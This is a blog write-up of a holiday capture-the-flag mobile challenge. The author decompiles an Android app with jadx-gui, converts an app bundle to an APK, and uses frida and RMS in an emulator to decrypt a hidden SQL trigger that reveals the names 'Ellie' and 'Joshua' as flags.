&lt;h3 id=&#34;Mobile-Analysis-Hard-Format&#34;&gt;&lt;a href=&#34;#Mobile-Analysis-Hard-Format&#34; class=&#34;headerlink&#34; title=&#34;Mobile Analysis Hard - Format&#34;&gt;&lt;/a&gt;Mobile Analysis Hard - Format&lt;/h3&gt;&lt;p&gt;&lt;em&gt;From: Eve Snowshoes&lt;/em&gt;&lt;br&gt;So yeah, have you heard about this new &lt;a href=&#34;https://developer.android.com/guide/app-bundle/app-bundle-format&#34;&gt;Android app&lt;/a&gt; format? Want to &lt;a href=&#34;https://github.com/HackJJ/apk-sherlock/blob/main/aab2apk.md&#34;&gt;convert it to an APK&lt;/a&gt; file?&lt;/p&gt;
&lt;h3 id=&#34;Mobile-Analysis-Hard-Encryption-and-Obfuscation&#34;&gt;&lt;a href=&#34;#Mobile-Analysis-Hard-Encryption-and-Obfuscation&#34; class=&#34;headerlink&#34; title=&#34;Mobile Analysis Hard - Encryption and Obfuscation&#34;&gt;&lt;/a&gt;Mobile Analysis Hard - Encryption and Obfuscation&lt;/h3&gt;&lt;p&gt;&lt;em&gt;From: Eve Snowshoes&lt;/em&gt;&lt;br&gt;Obfuscated and encrypted? Hmph. Shame you can’t just run &lt;a href=&#34;https://developer.android.com/guide/topics/resources/string-resource&#34;&gt;strings&lt;/a&gt; on the file.&lt;/p&gt;
&lt;h2 id=&#34;Silver-trophy&#34;&gt;&lt;a href=&#34;#Silver-trophy&#34; class=&#34;headerlink&#34; title=&#34;Silver trophy&#34;&gt;&lt;/a&gt;Silver trophy&lt;/h2&gt;&lt;p&gt;For the silver trophy, I opened the &lt;a href=&#34;https://www.holidayhackchallenge.com/2024/SantaSwipe.apk&#34;&gt;&lt;code&gt;SantaSwipe.apk&lt;/code&gt;&lt;/a&gt; with &lt;code&gt;jadx-gui&lt;/code&gt;. Using that we can see the main activity (&lt;code&gt;com.northpole.santaswipe.MainActivity&lt;/code&gt;) is using a DB helper to obtain a SQLite DB:&lt;/p&gt;
&lt;figure class=&#34;highlight java&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;7&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;protected&lt;/span&gt; &lt;span class=&#34;keyword&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;title function_&#34;&gt;onCreate&lt;/span&gt;&lt;span class=&#34;params&#34;&gt;(Bundle savedInstanceState)&lt;/span&gt; &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;      &lt;span class=&#34;comment&#34;&gt;// ... omissis ...&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;      &lt;span class=&#34;type&#34;&gt;DatabaseHelper&lt;/span&gt; &lt;span class=&#34;variable&#34;&gt;dbHelper&lt;/span&gt; &lt;span class=&#34;operator&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;keyword&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;title class_&#34;&gt;DatabaseHelper&lt;/span&gt;(&lt;span class=&#34;built_in&#34;&gt;this&lt;/span&gt;);&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;      &lt;span class=&#34;type&#34;&gt;SQLiteDatabase&lt;/span&gt; &lt;span class=&#34;variable&#34;&gt;writableDatabase&lt;/span&gt; &lt;span class=&#34;operator&#34;&gt;=&lt;/span&gt; dbHelper.getWritableDatabase();&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;      Intrinsics.checkNotNullExpressionValue(writableDatabase, &lt;span class=&#34;string&#34;&gt;&amp;quot;getWritableDatabase(...)&amp;quot;&lt;/span&gt;);&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;      &lt;span class=&#34;built_in&#34;&gt;this&lt;/span&gt;.database = writableDatabase;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;      &lt;span class=&#34;comment&#34;&gt;// ... omissis ...&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;Also in the method &lt;code&gt;getNormalList()&lt;/code&gt; the SQL query looks off as it is excluding “Ellie”:&lt;/p&gt;
&lt;figure class=&#34;highlight java&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;5&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;keyword&#34;&gt;final&lt;/span&gt; &lt;span class=&#34;keyword&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;title function_&#34;&gt;getNormalList&lt;/span&gt;&lt;span class=&#34;params&#34;&gt;()&lt;/span&gt; &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    &lt;span class=&#34;comment&#34;&gt;// ... omissis ...&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;         &lt;span class=&#34;type&#34;&gt;Cursor&lt;/span&gt; &lt;span class=&#34;variable&#34;&gt;cursor&lt;/span&gt; &lt;span class=&#34;operator&#34;&gt;=&lt;/span&gt; sQLiteDatabase.rawQuery(&lt;span class=&#34;string&#34;&gt;&amp;quot;SELECT Item FROM NormalList WHERE Item NOT LIKE &amp;#x27;%Ellie%&amp;#x27;&amp;quot;&lt;/span&gt;, &lt;span class=&#34;literal&#34;&gt;null&lt;/span&gt;);&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;         &lt;span class=&#34;type&#34;&gt;List&lt;/span&gt; &lt;span class=&#34;variable&#34;&gt;items&lt;/span&gt; &lt;span class=&#34;operator&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;keyword&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;title class_&#34;&gt;ArrayList&lt;/span&gt;();&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    &lt;span class=&#34;comment&#34;&gt;// ... omissis ...&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;With Ellie actually being inserted in the DB by the DB Helper (&lt;code&gt;com.northpole.santaswipe.DatabaseHelper&lt;/code&gt;), this is problably the kid being left out:&lt;/p&gt;
&lt;figure class=&#34;highlight java&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;keyword&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;title function_&#34;&gt;onCreate&lt;/span&gt;&lt;span class=&#34;params&#34;&gt;(SQLiteDatabase db)&lt;/span&gt; &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    &lt;span class=&#34;comment&#34;&gt;// ... omissis ...&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    db.execSQL(&lt;span class=&#34;string&#34;&gt;&amp;quot;INSERT INTO NormalList (Item) VALUES (&amp;#x27;Ellie, Alabama, USA&amp;#x27;);&amp;quot;&lt;/span&gt;);&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    &lt;span class=&#34;comment&#34;&gt;// ... omissis ...&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;And indeed “Ellie” was the solution for the Silver Trophy.&lt;/p&gt;
&lt;h2 id=&#34;Gold-Trophy&#34;&gt;&lt;a href=&#34;#Gold-Trophy&#34; class=&#34;headerlink&#34; title=&#34;Gold Trophy&#34;&gt;&lt;/a&gt;Gold Trophy&lt;/h2&gt;&lt;p&gt;I downloaded &lt;a href=&#34;https://www.holidayhackchallenge.com/2024/SantaSwipeSecure.aab&#34;&gt;&lt;code&gt;SantaSwipeSecure.aab&lt;/code&gt;&lt;/a&gt; and followed the &lt;em&gt;Mobile Analysis Hard - Format&lt;/em&gt; hint to convert it from the &lt;code&gt;aab&lt;/code&gt; format back to an &lt;code&gt;apk&lt;/code&gt;. Noticing it wasn’t being executed in the emulator, I went for the signed &lt;code&gt;apk&lt;/code&gt;:&lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;8&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;9&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;10&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;11&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;12&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;13&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;14&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;15&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;16&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;17&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;18&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;19&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;20&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;21&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;22&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;23&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;24&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;25&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;(act2-Mobile Analysis) thedead@maccos SantaSwipeSecure % keytool -keystore SantaSwipeSecure.jks -genkey -&lt;span class=&#34;built_in&#34;&gt;alias&lt;/span&gt; SantaSwipeSecure -keyalg RSA&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;Enter keystore password:  &lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;Re-enter new password: &lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;Enter the distinguished name. Provide a single dot (.) to leave a sub-component empty or press ENTER to use the default value &lt;span class=&#34;keyword&#34;&gt;in&lt;/span&gt; braces.&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;What is your first and last name?&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  [Unknown]:  &lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;What is the name of your organizational unit?&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  [Unknown]:  &lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;What is the name of your organization?&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  [Unknown]:  &lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;What is the name of your City or Locality?&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  [Unknown]:  &lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;What is the name of your State or Province?&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  [Unknown]:  &lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;What is the two-letter country code &lt;span class=&#34;keyword&#34;&gt;for&lt;/span&gt; this unit?&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  [Unknown]:  &lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;Is CN=Unknown, OU=Unknown, O=Unknown, L=Unknown, ST=Unknown, C=Unknown correct?&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  [no]:  &lt;span class=&#34;built_in&#34;&gt;yes&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;Generating 3,072 bit RSA key pair and self-signed certificate (SHA384withRSA) with a validity of 90 days&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    &lt;span class=&#34;keyword&#34;&gt;for&lt;/span&gt;: CN=Unknown, OU=Unknown, O=Unknown, L=Unknown, ST=Unknown, C=Unknown&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;(act2-Mobile Analysis) thedead@maccos SantaSwipeSecure % bundletool build-apks --bundle=SantaSwipeSecure.aab --output=SantaSwipeSecure.apks --mode=universal --ks=SantaSwipeSecure.jks --ks-key-alias=SantaSwipeSecure --ks-pass=pass:password&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;(act2-Mobile Analysis) thedead@maccos SantaSwipeSecure % &lt;span class=&#34;built_in&#34;&gt;cp&lt;/span&gt; SantaSwipeSecure.apks SantaSwipeSecure.zip&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;Finally I was able to run &lt;code&gt;universal.apk&lt;/code&gt; in an emulator and observe its contents with &lt;code&gt;jadx-gui&lt;/code&gt;. As per the hints, it turned out to be encrypted, therefore exploring the files used in the Silver trophy only led to an encrypted string and to the &lt;code&gt;decryptData&lt;/code&gt; method in &lt;code&gt;com.northpole.santaswipe.DatabaseHelper&lt;/code&gt;:&lt;/p&gt;
&lt;figure class=&#34;highlight java&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;8&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;keyword&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;title function_&#34;&gt;onCreate&lt;/span&gt;&lt;span class=&#34;params&#34;&gt;(SQLiteDatabase db)&lt;/span&gt; &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    Intrinsics.checkNotNullParameter(db, &lt;span class=&#34;string&#34;&gt;&amp;quot;db&amp;quot;&lt;/span&gt;);&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    db.execSQL(&lt;span class=&#34;string&#34;&gt;&amp;quot;CREATE TABLE IF NOT EXISTS NiceList (Item TEXT);&amp;quot;&lt;/span&gt;);&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    db.execSQL(&lt;span class=&#34;string&#34;&gt;&amp;quot;CREATE TABLE IF NOT EXISTS NaughtyList (Item TEXT);&amp;quot;&lt;/span&gt;);&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    db.execSQL(&lt;span class=&#34;string&#34;&gt;&amp;quot;CREATE TABLE IF NOT EXISTS NormalList (Item TEXT);&amp;quot;&lt;/span&gt;);&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    db.execSQL(decryptData(&lt;span class=&#34;string&#34;&gt;&amp;quot;IVrt+9Zct4oUePZeQqFwyhBix8cSCIxtsa+lJZkMNpNFBgoHeJlwp73l2oyEh1Y6AfqnfH7gcU9Yfov6u70cUA2/OwcxVt7Ubdn0UD2kImNsclEQ9M8PpnevBX3mXlW2QnH8+Q+SC7JaMUc9CIvxB2HYQG2JujQf6skpVaPAKGxfLqDj+2UyTAVLoeUlQjc18swZVtTQO7Zwe6sTCYlrw7GpFXCAuI6Ex29gfeVIeB7pK7M4kZGy3OIaFxfTdevCoTMwkoPvJuRupA6ybp36vmLLMXaAWsrDHRUbKfE6UKvGoC9d5vqmKeIO9elASuagxjBJ&amp;quot;&lt;/span&gt;));&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    insertInitialData(db);&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    &amp;#125;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;figure class=&#34;highlight java&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;8&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;9&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;10&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;11&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;12&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;private&lt;/span&gt; &lt;span class=&#34;keyword&#34;&gt;final&lt;/span&gt; String &lt;span class=&#34;title function_&#34;&gt;decryptData&lt;/span&gt;&lt;span class=&#34;params&#34;&gt;(String encryptedData)&lt;/span&gt; &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    &lt;span class=&#34;keyword&#34;&gt;try&lt;/span&gt; &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;        &lt;span class=&#34;type&#34;&gt;Cipher&lt;/span&gt; &lt;span class=&#34;variable&#34;&gt;cipher&lt;/span&gt; &lt;span class=&#34;operator&#34;&gt;=&lt;/span&gt; Cipher.getInstance(&lt;span class=&#34;string&#34;&gt;&amp;quot;AES/GCM/NoPadding&amp;quot;&lt;/span&gt;);&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;        cipher.init(&lt;span class=&#34;number&#34;&gt;2&lt;/span&gt;, &lt;span class=&#34;built_in&#34;&gt;this&lt;/span&gt;.secretKeySpec, &lt;span class=&#34;keyword&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;title class_&#34;&gt;GCMParameterSpec&lt;/span&gt;(&lt;span class=&#34;number&#34;&gt;128&lt;/span&gt;, &lt;span class=&#34;built_in&#34;&gt;this&lt;/span&gt;.iv));&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;        &lt;span class=&#34;type&#34;&gt;byte&lt;/span&gt;[] doFinal = cipher.doFinal(Base64.decode(encryptedData, &lt;span class=&#34;number&#34;&gt;0&lt;/span&gt;));&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;        Intrinsics.checkNotNull(doFinal);&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;        &lt;span class=&#34;keyword&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;keyword&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;title class_&#34;&gt;String&lt;/span&gt;(doFinal, Charsets.UTF_8);&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    &amp;#125; &lt;span class=&#34;keyword&#34;&gt;catch&lt;/span&gt; (Exception e) &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;        Log.e(&lt;span class=&#34;string&#34;&gt;&amp;quot;DatabaseHelper&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;Decryption failed: &amp;quot;&lt;/span&gt; + e.getMessage());&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;        &lt;span class=&#34;keyword&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;literal&#34;&gt;null&lt;/span&gt;;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    &amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;At that point I resorted to &lt;a href=&#34;https://github.com/frida/frida&#34;&gt;&lt;code&gt;frida&lt;/code&gt;&lt;/a&gt; and &lt;a href=&#34;https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security&#34;&gt;&lt;code&gt;RMS&lt;/code&gt;&lt;/a&gt; aiming to hook the &lt;code&gt;decryptData&lt;/code&gt; method and decrypt the string:&lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;thedead@maccos act2-Mobile Analysis % adb -s 127.0.0.1:6555 push frida-server-16.5.7-android-arm64 /tmp/frida-server&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;frida-server-16.5.7-android-arm64: 1 f... 251.9 MB/s (56549216 bytes &lt;span class=&#34;keyword&#34;&gt;in&lt;/span&gt; 0.214s)&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;genymotion:/# &lt;span class=&#34;built_in&#34;&gt;chmod&lt;/span&gt; +x /tmp/frida-server                                                                            &lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;genymotion:/# ./tmp/frida-server              &lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;I set up everything in &lt;code&gt;RMS&lt;/code&gt;:&lt;br&gt;&lt;img src=&#34;/2024/12/02/2024-07-Mobile-Analysis/07_01_MobileAnalysis_rms_01.png&#34;&gt;&lt;br&gt;&lt;img src=&#34;/2024/12/02/2024-07-Mobile-Analysis/07_02_MobileAnalysis_rms_02.png&#34;&gt;  &lt;/p&gt;
&lt;p&gt;I then used &lt;code&gt;Heap Search&lt;/code&gt; to manually call the &lt;code&gt;decryptData&lt;/code&gt; method with the encrypted string seen above:&lt;br&gt;&lt;img src=&#34;/2024/12/02/2024-07-Mobile-Analysis/07_03_MobileAnalysis_rms_03.png&#34;&gt;&lt;br&gt;&lt;img src=&#34;/2024/12/02/2024-07-Mobile-Analysis/07_04_MobileAnalysis_rms_04.png&#34;&gt;&lt;br&gt;Decrypting the content resulted in the following SQL:&lt;/p&gt;
&lt;figure class=&#34;highlight sql&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;6&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;CREATE&lt;/span&gt; &lt;span class=&#34;keyword&#34;&gt;TRIGGER&lt;/span&gt; DeleteIfInsertedSpecificValue&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    AFTER &lt;span class=&#34;keyword&#34;&gt;INSERT&lt;/span&gt; &lt;span class=&#34;keyword&#34;&gt;ON&lt;/span&gt; NormalList&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    &lt;span class=&#34;keyword&#34;&gt;FOR&lt;/span&gt; &lt;span class=&#34;keyword&#34;&gt;EACH&lt;/span&gt; &lt;span class=&#34;type&#34;&gt;ROW&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    &lt;span class=&#34;keyword&#34;&gt;BEGIN&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;        &lt;span class=&#34;keyword&#34;&gt;DELETE&lt;/span&gt; &lt;span class=&#34;keyword&#34;&gt;FROM&lt;/span&gt; NormalList &lt;span class=&#34;keyword&#34;&gt;WHERE&lt;/span&gt; Item &lt;span class=&#34;operator&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;#x27;KGfb0vd4u/4EWMN0bp035hRjjpMiL4NQurjgHIQHNaRaDnIYbKQ9JusGaa1aAkGEVV8=&amp;#x27;&lt;/span&gt;;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    &lt;span class=&#34;keyword&#34;&gt;END&lt;/span&gt;;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;Finally, calling the &lt;code&gt;decryptData&lt;/code&gt; method on this last string returned the answer to the challenge:&lt;br&gt;&lt;img src=&#34;/2024/12/02/2024-07-Mobile-Analysis/07_05_MobileAnalysis_rms_05.png&#34;&gt;&lt;br&gt;Showing that the kid being left out was poor &lt;code&gt;Joshua, Birmingham, United Kingdom&lt;/code&gt;, with the flag being just the name &lt;code&gt;Joshua&lt;/code&gt;. &lt;/p&gt;
